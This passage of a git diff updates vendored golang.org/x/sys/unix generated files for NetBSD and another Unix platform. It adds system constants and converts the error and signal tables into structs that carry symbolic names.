-+ {44, "ESOCKTNOSUPPORT", "socket type not supported"},
-+ {45, "ENOTSUP", "operation not supported"},
-+ {46, "EPFNOSUPPORT", "protocol family not supported"},
-+ {47, "EAFNOSUPPORT", "address family not supported by protocol"},
-+ {48, "EADDRINUSE", "address already in use"},
-+ {49, "EADDRNOTAVAIL", "cannot assign requested address"},
-+ {50, "ENETDOWN", "network is down"},
-+ {51, "ENETUNREACH", "network is unreachable"},
-+ {52, "ENETRESET", "network dropped connection on reset"},
-+ {53, "ECONNABORTED", "software caused connection abort"},
-+ {54, "ECONNRESET", "connection reset by peer"},
-+ {55, "ENOBUFS", "no buffer space available"},
-+ {56, "EISCONN", "transport endpoint is already connected"},
-+ {57, "ENOTCONN", "transport endpoint is not connected"},
-+ {58, "ESHUTDOWN", "cannot send after transport endpoint shutdown"},
-+ {59, "ETOOMANYREFS", "too many references: cannot splice"},
-+ {60, "ETIMEDOUT", "connection timed out"},
-+ {61, "ECONNREFUSED", "connection refused"},
-+ {62, "ELOOP", "too many levels of symbolic links"},
-+ {63, "ENAMETOOLONG", "file name too long"},
-+ {64, "EHOSTDOWN", "host is down"},
-+ {65, "EHOSTUNREACH", "no route to host"},
-+ {66, "ENOTEMPTY", "directory not empty"},
-+ {67, "EPROCLIM", "too many processes"},
-+ {68, "EUSERS", "too many users"},
-+ {69, "EDQUOT", "disk quota exceeded"},
-+ {70, "ESTALE", "stale file handle"},
-+ {71, "EREMOTE", "object is remote"},
-+ {72, "ENOSTR", "device not a stream"},
-+ {73, "ETIME", "timer expired"},
-+ {74, "ENOSR", "out of streams resources"},
-+ {75, "ENOMSG", "no message of desired type"},
-+ {76, "EBADMSG", "bad message"},
-+ {77, "EIDRM", "identifier removed"},
-+ {78, "EDEADLK", "resource deadlock avoided"},
-+ {79, "ENOLCK", "no locks available"},
-+ {80, "ENONET", "machine is not on the network"},
-+ {81, "ERREMOTE", "unknown error 81"},
-+ {82, "ENOLINK", "link has been severed"},
-+ {83, "EADV", "advertise error"},
-+ {84, "ESRMNT", "srmount error"},
-+ {85, "ECOMM", "communication error on send"},
-+ {86, "EPROTO", "protocol error"},
-+ {87, "EMULTIHOP", "multihop attempted"},
-+ {88, "EDOTDOT", "RFS specific error"},
-+ {89, "EREMCHG", "remote address changed"},
-+ {90, "ENOSYS", "function not implemented"},
-+ {91, "ESTRPIPE", "streams pipe error"},
-+ {92, "EOVERFLOW", "value too large for defined data type"},
-+ {93, "EBADFD", "file descriptor in bad state"},
-+ {94, "ECHRNG", "channel number out of range"},
-+ {95, "EL2NSYNC", "level 2 not synchronized"},
-+ {96, "EL3HLT", "level 3 halted"},
-+ {97, "EL3RST", "level 3 reset"},
-+ {98, "ELNRNG", "link number out of range"},
-+ {99, "EUNATCH", "protocol driver not attached"},
-+ {100, "ENOCSI", "no CSI structure available"},
-+ {101, "EL2HLT", "level 2 halted"},
-+ {102, "EBADE", "invalid exchange"},
-+ {103, "EBADR", "invalid request descriptor"},
-+ {104, "EXFULL", "exchange full"},
-+ {105, "ENOANO", "no anode"},
-+ {106, "EBADRQC", "invalid request code"},
-+ {107, "EBADSLT", "invalid slot"},
-+ {108, "EDEADLOCK", "file locking deadlock error"},
-+ {109, "EBFONT", "bad font file format"},
-+ {110, "ELIBEXEC", "cannot exec a shared library directly"},
-+ {111, "ENODATA", "no data available"},
-+ {112, "ELIBBAD", "accessing a corrupted shared library"},
-+ {113, "ENOPKG", "package not installed"},
-+ {114, "ELIBACC", "can not access a needed shared library"},
-+ {115, "ENOTUNIQ", "name not unique on network"},
-+ {116, "ERESTART", "interrupted system call should be restarted"},
-+ {117, "EUCLEAN", "structure needs cleaning"},
-+ {118, "ENOTNAM", "not a XENIX named type file"},
-+ {119, "ENAVAIL", "no XENIX semaphores available"},
-+ {120, "EISNAM", "is a named type file"},
-+ {121, "EREMOTEIO", "remote I/O error"},
-+ {122, "EILSEQ", "invalid or incomplete multibyte or wide character"},
-+ {123, "ELIBMAX", "attempting to link in too many shared libraries"},
-+ {124, "ELIBSCN", ".lib section in a.out corrupted"},
-+ {125, "ENOMEDIUM", "no medium found"},
-+ {126, "EMEDIUMTYPE", "wrong medium type"},
-+ {127, "ECANCELED", "operation canceled"},
-+ {128, "ENOKEY", "required key not available"},
-+ {129, "EKEYEXPIRED", "key has expired"},
-+ {130, "EKEYREVOKED", "key has been revoked"},
-+ {131, "EKEYREJECTED", "key was rejected by service"},
-+ {132, "EOWNERDEAD", "owner died"},
-+ {133, "ENOTRECOVERABLE", "state not recoverable"},
-+ {134, "ERFKILL", "operation not possible due to RF-kill"},
-+ {135, "EHWPOISON", "memory page has hardware error"},
- }
-
- // Signal table
--var signals = [...]string{
-- 1: "hangup",
-- 2: "interrupt",
-- 3: "quit",
-- 4: "illegal instruction",
-- 5: "trace/breakpoint trap",
-- 6: "aborted",
-- 7: "EMT trap",
-- 8: "floating point exception",
-- 9: "killed",
-- 10: "bus error",
-- 11: "segmentation fault",
-- 12: "bad system call",
-- 13: "broken pipe",
-- 14: "alarm clock",
-- 15: "terminated",
-- 16: "urgent I/O condition",
-- 17: "stopped (signal)",
-- 18: "stopped",
-- 19: "continued",
-- 20: "child exited",
-- 21: "stopped (tty input)",
-- 22: "stopped (tty output)",
-- 23: "I/O possible",
-- 24: "CPU time limit exceeded",
-- 25: "file size limit exceeded",
-- 26: "virtual timer expired",
-- 27: "profiling timer expired",
-- 28: "window changed",
-- 29: "resource lost",
-- 30: "user defined signal 1",
-- 31: "user defined signal 2",
-+var signalList = [...]struct {
-+ num syscall.Signal
-+ name string
-+ desc string
-+}{
-+ {1, "SIGHUP", "hangup"},
-+ {2, "SIGINT", "interrupt"},
-+ {3, "SIGQUIT", "quit"},
-+ {4, "SIGILL", "illegal instruction"},
-+ {5, "SIGTRAP", "trace/breakpoint trap"},
-+ {6, "SIGABRT", "aborted"},
-+ {7, "SIGEMT", "EMT trap"},
-+ {8, "SIGFPE", "floating point exception"},
-+ {9, "SIGKILL", "killed"},
-+ {10, "SIGBUS", "bus error"},
-+ {11, "SIGSEGV", "segmentation fault"},
-+ {12, "SIGSYS", "bad system call"},
-+ {13, "SIGPIPE", "broken pipe"},
-+ {14, "SIGALRM", "alarm clock"},
-+ {15, "SIGTERM", "terminated"},
-+ {16, "SIGURG", "urgent I/O condition"},
-+ {17, "SIGSTOP", "stopped (signal)"},
-+ {18, "SIGTSTP", "stopped"},
-+ {19, "SIGCONT", "continued"},
-+ {20, "SIGCHLD", "child exited"},
-+ {21, "SIGTTIN", "stopped (tty input)"},
-+ {22, "SIGTTOU", "stopped (tty output)"},
-+ {23, "SIGIO", "I/O possible"},
-+ {24, "SIGXCPU", "CPU time limit exceeded"},
-+ {25, "SIGXFSZ", "file size limit exceeded"},
-+ {26, "SIGVTALRM", "virtual timer expired"},
-+ {27, "SIGPROF", "profiling timer expired"},
-+ {28, "SIGWINCH", "window changed"},
-+ {29, "SIGLOST", "power failure"},
-+ {30, "SIGUSR1", "user defined signal 1"},
-+ {31, "SIGUSR2", "user defined signal 2"},
- }
-diff --git a/vendor/golang.org/x/sys/unix/zerrors_netbsd_386.go b/vendor/golang.org/x/sys/unix/zerrors_netbsd_386.go
-index b4338d5f..96b9b8ab 100644
---- a/vendor/golang.org/x/sys/unix/zerrors_netbsd_386.go
-+++ b/vendor/golang.org/x/sys/unix/zerrors_netbsd_386.go
-@@ -1,9 +1,9 @@
- // mkerrors.sh -m32
--// MACHINE GENERATED BY THE COMMAND ABOVE; DO NOT EDIT
-+// Code generated by the command above; see README.md. DO NOT EDIT.
-
- // +build 386,netbsd
-
--// Created by cgo -godefs - DO NOT EDIT
-+// Code generated by cmd/cgo -godefs; DO NOT EDIT.
- // cgo -godefs -- -m32 _const.go
-
- package unix
-@@ -159,6 +159,7 @@ const (
- CLONE_VFORK = 0x4000
- CLONE_VM = 0x100
- CREAD = 0x800
-+ CRTSCTS = 0x10000
- CS5 = 0x0
- CS6 = 0x100
- CS7 = 0x200
-@@ -169,6 +170,8 @@ const (
- CSTOP = 0x13
- CSTOPB = 0x400
- CSUSP = 0x1a
-+ CTL_HW = 0x6
-+ CTL_KERN = 0x1
- CTL_MAXNAME = 0xc
- CTL_NET = 0x4
- CTL_QUERY = -0x2
-@@ -547,6 +550,10 @@ const (
- EV_ONESHOT = 0x10
- EV_SYSFLAGS = 0xf000
- EXTA = 0x4b00
-+ EXTATTR_CMD_START = 0x1
-+ EXTATTR_CMD_STOP = 0x2
-+ EXTATTR_NAMESPACE_SYSTEM = 0x2
-+ EXTATTR_NAMESPACE_USER = 0x1
- EXTB = 0x9600
- EXTPROC = 0x800
- FD_CLOEXEC = 0x1
-@@ -581,6 +588,7 @@ const (
- F_UNLCK = 0x2
- F_WRLCK = 0x3
- HUPCL = 0x4000
-+ HW_MACHINE = 0x1
- ICANON = 0x100
- ICMP6_FILTER = 0x12
- ICRNL = 0x100
-@@ -970,6 +978,10 @@ const (
- IXANY = 0x800
- IXOFF = 0x400
- IXON = 0x200
-+ KERN_HOSTNAME = 0xa
-+ KERN_OSRELEASE = 0x2
-+ KERN_OSTYPE = 0x1
-+ KERN_VERSION = 0x4
- LOCK_EX = 0x2
- LOCK_NB = 0x4
- LOCK_SH = 0x1
-@@ -1008,6 +1020,43 @@ const (
- MAP_WIRED = 0x800
- MCL_CURRENT = 0x1
- MCL_FUTURE = 0x2
-+ MNT_ASYNC = 0x40
-+ MNT_BASIC_FLAGS = 0xe782807f
-+ MNT_DEFEXPORTED = 0x200
-+ MNT_DISCARD = 0x800000
-+ MNT_EXKERB = 0x800
-+ MNT_EXNORESPORT = 0x8000000
-+ MNT_EXPORTANON = 0x400
-+ MNT_EXPORTED = 0x100
-+ MNT_EXPUBLIC = 0x10000000
-+ MNT_EXRDONLY = 0x80
-+ MNT_EXTATTR = 0x1000000
-+ MNT_FORCE = 0x80000
-+ MNT_GETARGS = 0x400000
-+ MNT_IGNORE = 0x100000
-+ MNT_LAZY = 0x3
-+ MNT_LOCAL = 0x1000
-+ MNT_LOG = 0x2000000
-+ MNT_NOATIME = 0x4000000
-+ MNT_NOCOREDUMP = 0x8000
-+ MNT_NODEV = 0x10
-+ MNT_NODEVMTIME = 0x40000000
-+ MNT_NOEXEC = 0x4
-+ MNT_NOSUID = 0x8
-+ MNT_NOWAIT = 0x2
-+ MNT_OP_FLAGS = 0x4d0000
-+ MNT_QUOTA = 0x2000
-+ MNT_RDONLY = 0x1
-+ MNT_RELATIME = 0x20000
-+ MNT_RELOAD = 0x40000
-+ MNT_ROOTFS = 0x4000
-+ MNT_SOFTDEP = 0x80000000
-+ MNT_SYMPERM = 0x20000000
-+ MNT_SYNCHRONOUS = 0x2
-+ MNT_UNION = 0x20
-+ MNT_UPDATE = 0x10000
-+ MNT_VISFLAGMASK = 0xff90ffff
-+ MNT_WAIT = 0x1
- MSG_BCAST = 0x100
- MSG_CMSG_CLOEXEC = 0x800
- MSG_CONTROLMBUF = 0x2000000
-@@ -1036,6 +1085,7 @@ const (
- NET_RT_MAXID = 0x6
- NET_RT_OIFLIST = 0x4
- NET_RT_OOIFLIST = 0x3
-+ NFDBITS = 0x20
- NOFLSH = 0x80000000
- NOTE_ATTRIB = 0x8
- NOTE_CHILD = 0x4
-@@ -1101,7 +1151,10 @@ const (
- RLIMIT_CPU = 0x0
- RLIMIT_DATA = 0x2
- RLIMIT_FSIZE = 0x1
-+ RLIMIT_MEMLOCK = 0x6
- RLIMIT_NOFILE = 0x8
-+ RLIMIT_NPROC = 0x7
-+ RLIMIT_RSS = 0x5
- RLIMIT_STACK = 0x3
- RLIM_INFINITY = 0x7fffffffffffffff
- RTAX_AUTHOR = 0x6
-@@ -1576,137 +1629,145 @@ const (
- )
-
- // Error table
--var errors = [...]string{
-- 1: "operation not permitted",
-- 2: "no such file or directory",
-- 3: "no such process",
-- 4: "interrupted system call",
-- 5: "input/output error",
-- 6: "device not configured",
-- 7: "argument list too long",
-- 8: "exec format error",
-- 9: "bad file descriptor",
-- 10: "no child processes",
-- 11: "resource deadlock avoided",
-- 12: "cannot allocate memory",
-- 13: "permission denied",
-- 14: "bad address",
-- 15: "block device required",
-- 16: "device busy",
-- 17: "file exists",
-- 18: "cross-device link",
-- 19: "operation not supported by device",
-- 20: "not a directory",
-- 21: "is a directory",
-- 22: "invalid argument",
-- 23: "too many open files in system",
-- 24: "too many open files",
-- 25: "inappropriate ioctl for device",
-- 26: "text file busy",
-- 27: "file too large",
-- 28: "no space left on device",
-- 29: "illegal seek",
-- 30: "read-only file system",
-- 31: "too many links",
-- 32: "broken pipe",
-- 33: "numerical argument out of domain",
-- 34: "result too large or too small",
-- 35: "resource temporarily unavailable",
-- 36: "operation now in progress",
-- 37: "operation already in progress",
-- 38: "socket operation on non-socket",
-- 39: "destination address required",
-- 40: "message too long",
-- 41: "protocol wrong type for socket",
-- 42: "protocol option not available",
-- 43: "protocol not supported",
-- 44: "socket type not supported",
-- 45: "operation not supported",
-- 46: "protocol family not supported",
-- 47: "address family not supported by protocol family",
-- 48: "address already in use",
-- 49: "can't assign requested address",
-- 50: "network is down",
-- 51: "network is unreachable",
-- 52: "network dropped connection on reset",
-- 53: "software caused connection abort",
-- 54: "connection reset by peer",
-- 55: "no buffer space available",
-- 56: "socket is already connected",
-- 57: "socket is not connected",
-- 58: "can't send after socket shutdown",
-- 59: "too many references: can't splice",
-- 60: "connection timed out",
-- 61: "connection refused",
-- 62: "too many levels of symbolic links",
-- 63: "file name too long",
-- 64: "host is down",
-- 65: "no route to host",
-- 66: "directory not empty",
-- 67: "too many processes",
-- 68: "too many users",
-- 69: "disc quota exceeded",
-- 70: "stale NFS file handle",
-- 71: "too many levels of remote in path",
-- 72: "RPC struct is bad",
-- 73: "RPC version wrong",
-- 74: "RPC prog. not avail",
-- 75: "program version wrong",
-- 76: "bad procedure for program",
-- 77: "no locks available",
-- 78: "function not implemented",
-- 79: "inappropriate file type or format",
-- 80: "authentication error",
-- 81: "need authenticator",
-- 82: "identifier removed",
-- 83: "no message of desired type",
-- 84: "value too large to be stored in data type",
-- 85: "illegal byte sequence",
-- 86: "not supported",
-- 87: "operation Canceled",
-- 88: "bad or Corrupt message",
-- 89: "no message available",
-- 90: "no STREAM resources",
-- 91: "not a STREAM",
-- 92: "STREAM ioctl timeout",
-- 93: "attribute not found",
-- 94: "multihop attempted",
-- 95: "link has been severed",
-- 96: "protocol error",
-+var errorList = [...]struct {
-+ num syscall.Errno
-+ name string
-+ desc string
-+}{
-+ {1, "EPERM", "operation not permitted"},
-+ {2, "ENOENT", "no such file or directory"},
-+ {3, "ESRCH", "no such process"},
-+ {4, "EINTR", "interrupted system call"},
-+ {5, "EIO", "input/output error"},
-+ {6, "ENXIO", "device not configured"},
-+ {7, "E2BIG", "argument list too long"},
-+ {8, "ENOEXEC", "exec format error"},
-+ {9, "EBADF", "bad file descriptor"},
-+ {10, "ECHILD", "no child processes"},
-+ {11, "EDEADLK", "resource deadlock avoided"},
-+ {12, "ENOMEM", "cannot allocate memory"},
-+ {13, "EACCES", "permission denied"},
-+ {14, "EFAULT", "bad address"},
-+ {15, "ENOTBLK", "block device required"},
-+ {16, "EBUSY", "device busy"},
-+ {17, "EEXIST", "file exists"},
-+ {18, "EXDEV", "cross-device link"},
-+ {19, "ENODEV", "operation not supported by device"},
-+ {20, "ENOTDIR", "not a directory"},
-+ {21, "EISDIR", "is a directory"},
-+ {22, "EINVAL", "invalid argument"},
-+ {23, "ENFILE", "too many open files in system"},
-+ {24, "EMFILE", "too many open files"},
-+ {25, "ENOTTY", "inappropriate ioctl for device"},
-+ {26, "ETXTBSY", "text file busy"},
-+ {27, "EFBIG", "file too large"},
-+ {28, "ENOSPC", "no space left on device"},
-+ {29, "ESPIPE", "illegal seek"},
-+ {30, "EROFS", "read-only file system"},
-+ {31, "EMLINK", "too many links"},
-+ {32, "EPIPE", "broken pipe"},
-+ {33, "EDOM", "numerical argument out of domain"},
-+ {34, "ERANGE", "result too large or too small"},
-+ {35, "EAGAIN", "resource temporarily unavailable"},
-+ {36, "EINPROGRESS", "operation now in progress"},
-+ {37, "EALREADY", "operation already in progress"},
-+ {38, "ENOTSOCK", "socket operation on non-socket"},
-+ {39, "EDESTADDRREQ", "destination address required"},
-+ {40, "EMSGSIZE", "message too long"},
-+ {41, "EPROTOTYPE", "protocol wrong type for socket"},
-+ {42, "ENOPROTOOPT", "protocol option not available"},
-+ {43, "EPROTONOSUPPORT", "protocol not supported"},
-+ {44, "ESOCKTNOSUPPORT", "socket type not supported"},
-+ {45, "EOPNOTSUPP", "operation not supported"},
-+ {46, "EPFNOSUPPORT", "protocol family not supported"},
-+ {47, "EAFNOSUPPORT", "address family not supported by protocol family"},
-+ {48, "EADDRINUSE", "address already in use"},
-+ {49, "EADDRNOTAVAIL", "can't assign requested address"},
-+ {50, "ENETDOWN", "network is down"},
-+ {51, "ENETUNREACH", "network is unreachable"},
-+ {52, "ENETRESET", "network dropped connection on reset"},
-+ {53, "ECONNABORTED", "software caused connection abort"},
-+ {54, "ECONNRESET", "connection reset by peer"},
-+ {55, "ENOBUFS", "no buffer space available"},
-+ {56, "EISCONN", "socket is already connected"},
-+ {57, "ENOTCONN", "socket is not connected"},
-+ {58, "ESHUTDOWN", "can't send after socket shutdown"},
-+ {59, "ETOOMANYREFS", "too many references: can't splice"},
-+ {60, "ETIMEDOUT", "connection timed out"},
-+ {61, "ECONNREFUSED", "connection refused"},
-+ {62, "ELOOP", "too many levels of symbolic links"},
-+ {63, "ENAMETOOLONG", "file name too long"},
-+ {64, "EHOSTDOWN", "host is down"},
-+ {65, "EHOSTUNREACH", "no route to host"},
-+ {66, "ENOTEMPTY", "directory not empty"},
-+ {67, "EPROCLIM", "too many processes"},
-+ {68, "EUSERS", "too many users"},
-+ {69, "EDQUOT", "disc quota exceeded"},
-+ {70, "ESTALE", "stale NFS file handle"},
-+ {71, "EREMOTE", "too many levels of remote in path"},
-+ {72, "EBADRPC", "RPC struct is bad"},
-+ {73, "ERPCMISMATCH", "RPC version wrong"},
-+ {74, "EPROGUNAVAIL", "RPC prog. not avail"},
-+ {75, "EPROGMISMATCH", "program version wrong"},
-+ {76, "EPROCUNAVAIL", "bad procedure for program"},
-+ {77, "ENOLCK", "no locks available"},
-+ {78, "ENOSYS", "function not implemented"},
-+ {79, "EFTYPE", "inappropriate file type or format"},
-+ {80, "EAUTH", "authentication error"},
-+ {81, "ENEEDAUTH", "need authenticator"},
-+ {82, "EIDRM", "identifier removed"},
-+ {83, "ENOMSG", "no message of desired type"},
-+ {84, "EOVERFLOW", "value too large to be stored in data type"},
-+ {85, "EILSEQ", "illegal byte sequence"},
-+ {86, "ENOTSUP", "not supported"},
-+ {87, "ECANCELED", "operation Canceled"},
-+ {88, "EBADMSG", "bad or Corrupt message"},
-+ {89, "ENODATA", "no message available"},
-+ {90, "ENOSR", "no STREAM resources"},
-+ {91, "ENOSTR", "not a STREAM"},
-+ {92, "ETIME", "STREAM ioctl timeout"},
-+ {93, "ENOATTR", "attribute not found"},
-+ {94, "EMULTIHOP", "multihop attempted"},
-+ {95, "ENOLINK", "link has been severed"},
-+ {96, "ELAST", "protocol error"},
- }
-
- // Signal table
--var signals = [...]string{
-- 1: "hangup",
-- 2: "interrupt",
-- 3: "quit",
-- 4: "illegal instruction",
-- 5: "trace/BPT trap",
-- 6: "abort trap",
-- 7: "EMT trap",
-- 8: "floating point exception",
-- 9: "killed",
-- 10: "bus error",
-- 11: "segmentation fault",
-- 12: "bad system call",
-- 13: "broken pipe",
-- 14: "alarm clock",
-- 15: "terminated",
-- 16: "urgent I/O condition",
-- 17: "stopped (signal)",
-- 18: "stopped",
-- 19: "continued",
-- 20: "child exited",
-- 21: "stopped (tty input)",
-- 22: "stopped (tty output)",
-- 23: "I/O possible",
-- 24: "cputime limit exceeded",
-- 25: "filesize limit exceeded",
-- 26: "virtual timer expired",
-- 27: "profiling timer expired",
-- 28: "window size changes",
-- 29: "information request",
-- 30: "user defined signal 1",
-- 31: "user defined signal 2",
-- 32: "power fail/restart",
-+var signalList = [...]struct {
-+ num syscall.Signal
-+ name string
-+ desc string
-+}{
-+ {1, "SIGHUP", "hangup"},
-+ {2, "SIGINT", "interrupt"},
-+ {3, "SIGQUIT", "quit"},
-+ {4, "SIGILL", "illegal instruction"},
-+ {5, "SIGTRAP", "trace/BPT trap"},
-+ {6, "SIGIOT", "abort trap"},
-+ {7, "SIGEMT", "EMT trap"},
-+ {8, "SIGFPE", "floating point exception"},
-+ {9, "SIGKILL", "killed"},
-+ {10, "SIGBUS", "bus error"},
-+ {11, "SIGSEGV", "segmentation fault"},
-+ {12, "SIGSYS", "bad system call"},
-+ {13, "SIGPIPE", "broken pipe"},
-+ {14, "SIGALRM", "alarm clock"},
-+ {15, "SIGTERM", "terminated"},
-+ {16, "SIGURG", "urgent I/O condition"},
-+ {17, "SIGSTOP", "stopped (signal)"},
-+ {18, "SIGTSTP", "stopped"},
-+ {19, "SIGCONT", "continued"},
-+ {20, "SIGCHLD", "child exited"},
-+ {21, "SIGTTIN", "stopped (tty input)"},
-+ {22, "SIGTTOU", "stopped (tty output)"},
-+ {23, "SIGIO", "I/O possible"},
-+ {24, "SIGXCPU", "cputime limit exceeded"},
-+ {25, "SIGXFSZ", "filesize limit exceeded"},
-+ {26, "SIGVTALRM", "virtual timer expired"},
-+ {27, "SIGPROF", "profiling timer expired"},
-+ {28, "SIGWINCH", "window size changes"},
-+ {29, "SIGINFO", "information request"},
-+ {30, "SIGUSR1", "user defined signal 1"},
-+ {31, "SIGUSR2", "user defined signal 2"},
-+ {32, "SIGPWR", "power fail/restart"},
- }
-diff --git a/vendor/golang.org/x/sys/unix/zerrors_netbsd_amd64.go b/vendor/golang.org/x/sys/unix/zerrors_netbsd_amd64.go
-index 4994437b..ed522a84 100644
---- a/vendor/golang.org/x/sys/unix/zerrors_netbsd_amd64.go
-+++ b/vendor/golang.org/x/sys/unix/zerrors_netbsd_amd64.go
-@@ -1,9 +1,9 @@
- // mkerrors.sh -m64
--// MACHINE GENERATED BY THE COMMAND ABOVE; DO NOT EDIT
-+// Code generated by the command above; see README.md. DO NOT EDIT.
-
- // +build amd64,netbsd
-
--// Created by cgo -godefs - DO NOT EDIT
-+// Code generated by cmd/cgo -godefs; DO NOT EDIT.
- // cgo -godefs -- -m64 _const.go
-
- package unix
-@@ -159,6 +159,7 @@ const (
- CLONE_VFORK = 0x4000
- CLONE_VM = 0x100
- CREAD = 0x800
-+ CRTSCTS = 0x10000
- CS5 = 0x0
- CS6 = 0x100
- CS7 = 0x200
-@@ -169,6 +170,8 @@ const (
- CSTOP = 0x13
- CSTOPB = 0x400
- CSUSP = 0x1a
-+ CTL_HW = 0x6
-+ CTL_KERN = 0x1
- CTL_MAXNAME = 0xc
- CTL_NET = 0x4
- CTL_QUERY = -0x2
-@@ -537,6 +540,10 @@ const (
- EV_ONESHOT = 0x10
- EV_SYSFLAGS = 0xf000
- EXTA = 0x4b00
-+ EXTATTR_CMD_START = 0x1
-+ EXTATTR_CMD_STOP = 0x2
-+ EXTATTR_NAMESPACE_SYSTEM = 0x2
-+ EXTATTR_NAMESPACE_USER = 0x1
- EXTB = 0x9600
- EXTPROC = 0x800
- FD_CLOEXEC = 0x1
-@@ -571,6 +578,7 @@ const (
- F_UNLCK = 0x2
- F_WRLCK = 0x3
- HUPCL = 0x4000
-+ HW_MACHINE = 0x1
- ICANON = 0x100
- ICMP6_FILTER = 0x12
- ICRNL = 0x100
-@@ -960,6 +968,10 @@ const (
- IXANY = 0x800
- IXOFF = 0x400
- IXON = 0x200
-+ KERN_HOSTNAME = 0xa
-+ KERN_OSRELEASE = 0x2
-+ KERN_OSTYPE = 0x1
-+ KERN_VERSION = 0x4
- LOCK_EX = 0x2
- LOCK_NB = 0x4
- LOCK_SH = 0x1
-@@ -998,6 +1010,43 @@ const (
- MAP_WIRED = 0x800
- MCL_CURRENT = 0x1
- MCL_FUTURE = 0x2
-+ MNT_ASYNC = 0x40
-+ MNT_BASIC_FLAGS = 0xe782807f
-+ MNT_DEFEXPORTED = 0x200
-+ MNT_DISCARD = 0x800000
-+ MNT_EXKERB = 0x800
-+ MNT_EXNORESPORT = 0x8000000
-+ MNT_EXPORTANON = 0x400
-+ MNT_EXPORTED = 0x100
-+ MNT_EXPUBLIC = 0x10000000
-+ MNT_EXRDONLY = 0x80
-+ MNT_EXTATTR = 0x1000000
-+ MNT_FORCE = 0x80000
-+ MNT_GETARGS = 0x400000
-+ MNT_IGNORE = 0x100000
-+ MNT_LAZY = 0x3
-+ MNT_LOCAL = 0x1000
-+ MNT_LOG = 0x2000000
-+ MNT_NOATIME = 0x4000000
-+ MNT_NOCOREDUMP = 0x8000
-+ MNT_NODEV = 0x10
-+ MNT_NODEVMTIME = 0x40000000
-+ MNT_NOEXEC = 0x4
-+ MNT_NOSUID = 0x8
-+ MNT_NOWAIT = 0x2
-+ MNT_OP_FLAGS = 0x4d0000
-+ MNT_QUOTA = 0x2000
-+ MNT_RDONLY = 0x1
-+ MNT_RELATIME = 0x20000
-+ MNT_RELOAD = 0x40000
-+ MNT_ROOTFS = 0x4000
-+ MNT_SOFTDEP = 0x80000000
-+ MNT_SYMPERM = 0x20000000
-+ MNT_SYNCHRONOUS = 0x2
-+ MNT_UNION = 0x20
-+ MNT_UPDATE = 0x10000
-+ MNT_VISFLAGMASK = 0xff90ffff
-+ MNT_WAIT = 0x1
- MSG_BCAST = 0x100
- MSG_CMSG_CLOEXEC = 0x800
- MSG_CONTROLMBUF = 0x2000000
-@@ -1026,6 +1075,7 @@ const (
- NET_RT_MAXID = 0x6
- NET_RT_OIFLIST = 0x4
- NET_RT_OOIFLIST = 0x3
-+ NFDBITS = 0x20
- NOFLSH = 0x80000000
- NOTE_ATTRIB = 0x8
- NOTE_CHILD = 0x4
-@@ -1091,7 +1141,10 @@ const (
- RLIMIT_CPU = 0x0
- RLIMIT_DATA = 0x2
- RLIMIT_FSIZE = 0x1
-+ RLIMIT_MEMLOCK = 0x6
- RLIMIT_NOFILE = 0x8
-+ RLIMIT_NPROC = 0x7
-+ RLIMIT_RSS = 0x5
- RLIMIT_STACK = 0x3
- RLIM_INFINITY = 0x7fffffffffffffff
- RTAX_AUTHOR = 0x6
-@@ -1566,137 +1619,145 @@ const (
- )
-
- // Error table
--var errors = [...]string{
-- 1: "operation not permitted",
-- 2: "no such file or directory",
-- 3: "no such process",
-- 4: "interrupted system call",
-- 5: "input/output error",
-- 6: "device not configured",
-- 7: "argument list too long",
-- 8: "exec format error",
-- 9: "bad file descriptor",
-- 10: "no child processes",
-- 11: "resource deadlock avoided",
-- 12: "cannot allocate memory",
-- 13: "permission denied",
-- 14: "bad address",
-- 15: "block device required",
-- 16: "device busy",
-- 17: "file exists",
-- 18: "cross-device link",
-- 19: "operation not supported by device",
-- 20: "not a directory",
-- 21: "is a directory",
-- 22: "invalid argument",
-- 23: "too many open files in system",
-- 24: "too many open files",
-- 25: "inappropriate ioctl for device",
-- 26: "text file busy",
-- 27: "file too large",
-- 28: "no space left on device",
-- 29: "illegal seek",
-- 30: "read-only file system",
-- 31: "too many links",
-- 32: "broken pipe",
-- 33: "numerical argument out of domain",
-- 34: "result too large or too small",
-- 35: "resource temporarily unavailable",
-- 36: "operation now in progress",
-- 37: "operation already in progress",
-- 38: "socket operation on non-socket",
-- 39: "destination address required",
-- 40: "message too long",
-- 41: "protocol wrong type for socket",
-- 42: "protocol option not available",
-- 43: "protocol not supported",
-- 44: "socket type not supported",
-- 45: "operation not supported",
-- 46: "protocol family not supported",
-- 47: "address family not supported by protocol family",
-- 48: "address already in use",
-- 49: "can't assign requested address",
-- 50: "network is down",
-- 51: "network is unreachable",
-- 52: "network dropped connection on reset",
-- 53: "software caused connection abort",
-- 54: "connection reset by peer",
-- 55: "no buffer space available",
-- 56: "socket is already connected",
-- 57: "socket is not connected",
-- 58: "can't send after socket shutdown",
-- 59: "too many references: can't splice",
-- 60: "connection timed out",
-- 61: "connection refused",
-- 62: "too many levels of symbolic links",
-- 63: "file name too long",
-- 64: "host is down",
-- 65: "no route to host",
-- 66: "directory not empty",
-- 67: "too many processes",
-- 68: "too many users",
-- 69: "disc quota exceeded",
-- 70: "stale NFS file handle",
-- 71: "too many levels of remote in path",
-- 72: "RPC struct is bad",
-- 73: "RPC version wrong",
-- 74: "RPC prog. not avail",
-- 75: "program version wrong",
-- 76: "bad procedure for program",
-- 77: "no locks available",
-- 78: "function not implemented",
-- 79: "inappropriate file type or format",
-- 80: "authentication error",
-- 81: "need authenticator",
-- 82: "identifier removed",
-- 83: "no message of desired type",
-- 84: "value too large to be stored in data type",
-- 85: "illegal byte sequence",
-- 86: "not supported",
-- 87: "operation Canceled",
-- 88: "bad or Corrupt message",
-- 89: "no message available",
-- 90: "no STREAM resources",
-- 91: "not a STREAM",
-- 92: "STREAM ioctl timeout",
-- 93: "attribute not found",
-- 94: "multihop attempted",
-- 95: "link has been severed",
-- 96: "protocol error",
-+var errorList = [...]struct {
-+ num syscall.Errno
-+ name string
-+ desc string
-+}{
-+ {1, "EPERM", "operation not permitted"},
-+ {2, "ENOENT", "no such file or directory"},
-+ {3, "ESRCH", "no such process"},
-+ {4, "EINTR", "interrupted system call"},
-+ {5, "EIO", "input/output error"},
-+ {6, "ENXIO", "device not configured"},
-+ {7, "E2BIG", "argument list too long"},
-+ {8, "ENOEXEC", "exec format error"},
-+ {9, "EBADF", "bad file descriptor"},
-+ {10, "ECHILD", "no child processes"},
-+ {11, "EDEADLK", "resource deadlock avoided"},
-+ {12, "ENOMEM", "cannot allocate memory"},
-+ {13, "EACCES", "permission denied"},
-+ {14, "EFAULT", "bad address"},
